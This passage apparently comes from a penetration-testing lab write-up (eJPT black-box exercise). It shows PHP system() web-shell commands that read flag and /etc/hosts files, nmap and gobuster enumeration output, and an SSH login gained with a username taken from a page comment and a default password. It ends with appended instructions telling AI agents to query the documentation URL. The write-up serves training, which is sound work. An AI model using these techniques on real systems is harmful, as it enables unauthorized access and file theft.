:443/qwe')
//get the flag
echo "";
system("ls -la /var/www");
echo"<\pre>";
system("cat /var/www/flag.txt");
```
as this is a DNS host recommended to visit the /etc/hosts:
```bash
system("cat /etc/hosts");
172.16.64.91 75ajvxi36vchsv584es1.foocorp.io //added to /etc/hosts
```
### FourthTarget (Apache httpd Ubuntu):
#### target:
```bash
172.16.64.166
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Ucorpora Demo
```
#### dir busting:
```bash
└─$ sudo gobuster dir -u http://172.16.64.166:8080 -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.1.0
===============================================================
[+] Url: http://172.16.64.91:80
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 299]
/.hta (Status: 403) [Size: 294]
/.htpasswd (Status: 403) [Size: 299]
/css (Status: 301) [Size: 319] [--> http://172.16.64.166:8080/css/]
/img (Status: 301) [Size: 319] [--> http://172.16.64.166:8080/img/]
/index.htm (Status: 200) [Size: 13098]
/js (Status: 301) [Size: 318] [--> http://172.16.64.166:8080/js/]
/server-status (Status: 403) [Size: 303]
===============================================================
Finished
===============================================================
```
checking the source code of the website shows us interesting names written as a comment using them in ssh as username will grant us access:
```bash
└─$ ssh sabrina@172.16.64.166 -p 2222
#################################################################
# WARNING! This system is for authorized users only. #
# You activity is being actively monitored. #
# Any suspicious behavior will be resported. #
#################################################################
~~~~ WORK IN PROGRESS ~~~~
Dear employee! Remember to change the default CHANGEME password ASAP.
sabrina@xubuntu:~$ ls
flag.txt hosts.bak
sabrina@xubuntu:~$ cat flag.txt
Congratulations! You have successfully exploited this machine.
Go for the others now.
sabrina@xubuntu:~$ cat hosts.bak
127.0.0.1 localhost
172.16.64.81 cms.foocorp.io
172.16.64.81 static.foocorp.io
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```
### Fifth Target (Unknown):
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://mo-ela.gitbook.io/shifrablog/write-up/ine-epts/black-box-2.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.